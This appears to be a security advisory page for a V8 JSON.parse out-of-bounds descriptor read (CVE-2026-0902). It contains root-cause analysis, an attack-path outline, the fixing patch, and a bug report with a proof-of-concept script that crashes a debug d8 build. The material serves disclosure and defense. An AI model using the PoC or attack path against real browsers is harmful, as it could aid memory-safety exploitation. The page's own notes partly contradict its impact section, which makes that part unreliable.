CVE-2026-0902
Overview
Background
- Descriptor array
- the
DescriptorArraymetadata object that lists a map’s own fast properties, whose length is reported bydescriptors->number_of_descriptors(). - Fast-path JSON object parsing
- the routine in
src/json/json-parser.ccthat iterates a map’s descriptors to place parsed values directly into pre-shaped fast object slots. - `ParseJsonPropertyValue`
- the helper that parses a single property’s value and can allocate, meaning it may trigger a garbage collection.
- GC-induced shrinking
- a garbage collection can trim or replace a
DescriptorArray, so a bound computed before a GC may no longer hold afterward.
Root Cause Analysis
Verify before building a PoC
What the commit does not establish: Diff shows ParseJsonPropertyValue paths already 'continue'; the new check guards fall-through paths after 'the previous range check'. Advisory never says LogicError. Diff shows only an out-of-bounds descriptor read, not corruption; advisory rates it medium.
The changed loop first performs a range check against the descriptor array, then calls ParseJsonPropertyValue(key), which can allocate and therefore trigger a GC. During that GC the DescriptorArray can be shrunk, so the previously validated index idx.as_int() can now point beyond the array’s current length. On paths that did not already continue, control fell through to code that reads the descriptor at idx, dereferencing an entry past the live limit of the (now smaller) descriptor array. The invariant violated is that the index used to access descriptors must remain within descriptors->number_of_descriptors() at the moment of access, which no longer held after an intervening GC.
The fix re-validates idx.as_int() >= descriptors->number_of_descriptors() immediately before the descriptor access and breaks the loop when the bound has been exceeded, so no read occurs past the shrunk limit.
ParseJsonPropertyValue) to access the descriptor array afterward, when the array could have shrunk; the fix re-checks the bound on all fall-through paths right before the access and breaks the loop.Attack Path
- Enter fast-path object parsing
Supply JSON that drives the parser into the descriptor-iterating fast path where each key is matched against the map’s
DescriptorArray. - Trigger a GC mid-loop
Craft property values so that
ParseJsonPropertyValue(key)allocates and provokes a garbage collection during iteration. - Shrink the descriptor array
Arrange for that GC to shrink the
DescriptorArrayso itsnumber_of_descriptors()drops below the loop indexidx.as_int(). - Out-of-bounds descriptor read (inferred)
On the unpatched fall-through path the stale
idxis used to read a descriptor entry beyond the array’s current limit, an out-of-bounds read whose precise downstream effect is not shown in the diff.
Impact Assessment
V8. The precondition is reaching the fast descriptor-iteration path with an allocation-triggering value; the advisory classifies this as a LogicError with impact “Inappropriate implementation in V8” and does not report exploitation in the wild. Any escalation to information disclosure or memory corruption beyond the out-of-bounds descriptor access is (inferred).Files Changed
src/json/json-parser.cc
Audit Directions
- Stale bounds across GC-safepointsAudit loops that range-check an index, then call an allocating/GC-triggering helper, and reuse the same index to index heap arrays (
DescriptorArray,FixedArray, etc.) without re-validation. - Descriptor array iterationReview every site that iterates
DescriptorArraywhile running user-influenced callbacks or parsing, ensuringnumber_of_descriptors()is re-read after any potential GC. - Fall-through vs. early-continue pathsWhere a loop has multiple exit branches, verify that every non-
continuepath re-establishes invariants before shared access rather than assuming an earlier check still holds.
Patch
From c30fe0dc4475926fd74ca20a9bfc510a658bc0e5 Mon Sep 17 00:00:00 2001 From: pthier <[email protected]> Date: Thu, 18 Dec 2025 12:56:22 +0100 Subject: [PATCH] [json] Parser: Ensure descriptor array access is in bounds A GC could shrink the descriptor array. Ensure that we early break the loop on all paths to prevent reading beyond the limit. Fixed: 469143679 Change-Id: I9ac5851ffd9454ad13302171d45349d3fb73786a Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7274717 Commit-Queue: Patrick Thier <[email protected]> Reviewed-by: Igor Sheludko <[email protected]> Cr-Commit-Position: refs/heads/main@{#104407} --- diff --git a/src/json/json-parser.cc b/src/json/json-parser.cc index 968b394..5bc2983 100644 --- a/src/json/json-parser.cc +++ b/src/json/json-parser.cc @@ -1653,6 +1653,11 @@ if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; continue; } + // Before accessing the descriptor array, make sure that it wasn't + // shrunk during a potential GC after the previous range check. + if (V8_UNLIKELY(idx.as_int() >= descriptors->number_of_descriptors())) { + break; + } // Check if the key is fast iterable. // Some of the checks below are not relevant for the parser, but are // requirements for fast iterable keys in general (e.g. for
Original Bug Report
JSON.parse(): Out-of-bounds access on DescriptorArray
VULNERABILITY DETAILS
This is an issue similar to issues/423459708, and the previous fix was incomplete. The problem also occurs in ParseJsonObjectProperties(), which is a method used to parse the keys and values of all fields in an object.
ParseJsonObjectProperties() has three implementation paths: kJsonSlow, kJsonFast, and kJsonUnknown. If an object of a certain Map is being serialized for the first time, it will enter the kJsonUnknown path.
template <typename Char>
template <DescriptorArray::FastIterableState fast_iterable_state>
bool JsonParser<Char>::ParseJsonObjectProperties(
JsonContinuation* cont, MessageTemplate first_token_msg,
Handle<DescriptorArray> descriptors) {
using FastIterableState = DescriptorArray::FastIterableState;
if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
...
} else {
InternalIndex idx{0};
do {
EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
bool key_match;
if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
...
} else { // Unknown
// Parse a string from json as the field name.
JsonString key = ScanJsonPropertyKey(cont);
...
Tagged<Name> property_name = descriptors->GetKey(idx);
bool is_slow = key.has_escape();
// Check that the property is enumerable and located in field.
PropertyDetails details = descriptors->GetDetails(idx);
if (V8_UNLIKELY(details.IsDontEnum() ||
details.location() != PropertyLocation::kField)) {
is_slow = true;
}
// Symbol property keys are slow.
if (V8_UNLIKELY(IsSymbol(property_name))) {
is_slow = true;
}
// Check if the field name in the JSON matches the property name in the descriptor array.
key_match = false;
if (V8_LIKELY(!is_slow)) {
DisallowGarbageCollection no_gc;
// Property key is known to be fast so far, so it is guaranteed to
// be a string.
Tagged<String> expected_key = Cast<String>(property_name);
Tagged<Map> key_map = expected_key->map();
if (InstanceTypeChecker::IsTwoByteString(key_map)) {
// Two-byte keys are slow.
is_slow = true;
} else {
const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc);
const uint32_t key_length = expected_key->length();
key_match = FastKeyMatch(expected_chars, key_length, key);
}
}
if (V8_UNLIKELY(is_slow)) {
descriptors->set_fast_iterable(FastIterableState::kJsonSlow);
}
if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;
if (V8_UNLIKELY(is_slow || !key_match)) {
...
}
++idx;
}
} while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());
...
}
return true;
}
The cause of the previous issue (issues/423459708) was:
- Before entering the do-while loop, the function pre-saved
descriptors->number_of_descriptors()into a variabledescriptors_end. - When calling
ParseJsonPropertyValue()to parse a field value, memory is allocated, which triggers a GC and causes the descriptors array to shrink. - Since
idx < descriptors_end, the loop continues, leading to an OOB access when executingdescriptors->GetDetails(idx).
This issue is similar. ScanJsonPropertyKey() is responsible for parsing a string from the JSON. However, when processing "B, because it is not a complete string, it enters ReportUnexpectedToken() to generate an error message and throw an exception.
Note: GC is allowed when executing ReportUnexpectedToken(), so a GC can be triggered during the error message generation process, causing the descriptors to shrink.
template <typename Char>
JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization) {
DisallowGarbageCollection no_gc;
...
while (true) {
...
if (V8_UNLIKELY(is_at_end())) {
AllowGarbageCollection allow_before_exception;
ReportUnexpectedToken(JsonToken::ILLEGAL,
MessageTemplate::kJsonParseUnterminatedString);
break;
}
...
}
return JsonString();
}
Therefore, during the execution of the PoC, the ParseJsonArray() execution process is as follows:
First, the object corresponding to {"A": 0} is parsed, and MapA is obtained as feedback. Note: feedback->descriptors has two entries.
Then, ParseJsonValueRecursive(feedback) is called to parse the subsequent object, which will then call ParseJsonObjectProperties() to parse the two fields in {"A": 0,"B.
- After parsing the first field
"A": 0, the do-while loop check is performed:idx=1, descriptors->number_of_descriptors()=2, so the loop continues. - When parsing the second field “B:
ScanJsonPropertyKey()is called to parse a string, which in turn callsScanJsonString().- Since
"Bis not a complete string object,ReportUnexpectedToken()is called to report an error. - During the error reporting, memory is allocated, triggering a GC, which causes the
descriptorsto shrink. - An empty string
JsonString()is returned.
- Since
- The do-while loop does not handle the error from
ScanJsonString()and continues to executedescriptors->GetKey(idx). At this point, descriptors has only one entry, whileidx=1, leading to an out-of-bounds access.
I believe the root cause is the incomplete handling of ScanJsonPropertyKey() failure. If ScanJsonPropertyKey() returns an empty string, the loop should stop immediately.
The problematic code was introduced in commit 5fdab0114d1211e11bce1c74b40fc5e57b4942e6, which attempted to fix issues/423459708 but was unsuccessful.
REPRODUCTION CASE
poc.js:
// Incomplete JSON, JSON.parse() will throw an exception when handling `"B`
const jsonStr = `
[
{
"A": 0
},
{
"A": 0,
"B
`;
// prepare map transition: MapA --add-property(B)--> MapB
// MapA and MapB shared same descriptors
let o1 = {A: 0}; // own 1 entry
let o2 = {A: 0}; // own 2 entry
o2.B = 1;
// %DebugPrint(o1);
// clear reference, no objects use MapB,
// so only one entry in MapA->descriptors is actually used, and it will shrink during GC.
o2 = null;
// trigger GC to shrink descriptors array in `ReportUnexpectedToken()`
%SetAllocationTimeout(-1, 5);
// trigger crash
try {
JSON.parse(jsonStr);
} catch(e) {
}
V8 must be built with a debug configuration, Execute v8 as follows:
./d8 \
--allow-natives-syntax \
--predictable \
--predictable-gc-schedule \
./poc.js
This will result in the following crash:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 231
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#
CREDIT INFORMATION
Reporter credit: [303f06e3]